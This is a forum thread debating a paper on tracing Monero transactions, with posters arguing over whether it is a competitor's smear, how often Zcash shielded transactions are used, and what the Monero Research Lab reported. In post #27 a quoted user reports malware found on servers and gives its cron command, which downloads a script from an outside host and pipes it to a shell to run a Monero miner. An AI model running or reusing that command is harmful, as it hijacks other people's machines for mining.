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80% of Monero Transactions Trivially De-Anonymized

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Re: 80% of Monero Transactions Trivially De-Anonymized

#21

Post by aminorex »

hackinthebochs wrote: post #17
Casseres wrote: post #15

Disclaimer: I hold Monero In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity. It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not. They are willing to grease the wheels to success while Monero grows organically instead. This…

>They are willing to grease the wheels to success while Monero grows organically instead. I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?

Honesty matters in money. Without it, you pay frictions for graft. Liquidity vehicles abhor frictions.

Zcash has been crashing for a long while, and stealing 20% of the economy outright is a large part of the reason. Yes, it motivates the miscreants, but that does not imply success.

Re: 80% of Monero Transactions Trivially De-Anonymized

#22

Post by socrates1024 »

nullc wrote: post #19
woah wrote: post #7

Earlier quoted context omitted.

Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?

> Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor). So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, whi…

In the next version we'll clarify zcash shielded transactions are optional. Fwiw it's used by 28% of tx according to https://explorer.zcha.in/statistics/network and comments above, not "rarely used"

Re: 80% of Monero Transactions Trivially De-Anonymized

#23

Post by kyledrake »

whyrusleeping wrote: post #13
kyledrake wrote: post #2

This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...

Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along

This was the first thing I dug up - the reddit discussion is much more informative for a counterpoint https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...

That said, I think the conspiracy theories are a little blown out of proportion. Also the title of this thread should really be changed to the title of the paper.

Re: 80% of Monero Transactions Trivially De-Anonymized

#24

Post by socrates1024 »

pero wrote: post #5

Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin. That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper. Lengthy discussion on reddi…

This paper is an empirical analysis. The Monero reports introduced a theoretical attack with conditions, e.g. “a critical loss in untraceability across the whole network if parameters are poorly chosen and if an attacker owns a sufficient percentage of the network.” The news is that our research confirms, for the first time, that this is actually the case, and it affects actual transactions.

Re: 80% of Monero Transactions Trivially De-Anonymized

#25

Post by lumos-sora »

I hope someone actually reads the original Monero Research Lab papers and sees that those papers briefly allude to there being a problem and dismiss it as being a theoretical problem when at the time of the report peoples drugs purchases could and can still be traced. This is an empirical analysis - the first of it's kind with a block explorer, the Monero people should be on their knees thanking the authors of the paper. Instead they are burying their heads in the sand, refusing to admit that they lied when they claimed back in 2015/16 that their currency was untraceable. I'm disgusted to see the flagrant doublethink in the comments here, most people haven't even bothered to read the paper or the MRL reports and are just spouting garbage they've heard via fluffyass.

Re: 80% of Monero Transactions Trivially De-Anonymized

#27

Post by socrates1024 »

kovrik wrote: post #4

What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/e…

For an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!

Re: 80% of Monero Transactions Trivially De-Anonymized

#29

Post by sebleon »

Casseres wrote: post #15

Disclaimer: I hold Monero In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity. It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not. They are willing to grease the wheels to success while Monero grows organically instead. This…

Regardless of the veracity of your allegations, this paper is a sound empirical analysis. It's a solid piece of research, and it's not surprising that folks from a competing blockchain would be the first to unveil real problems with Monero.
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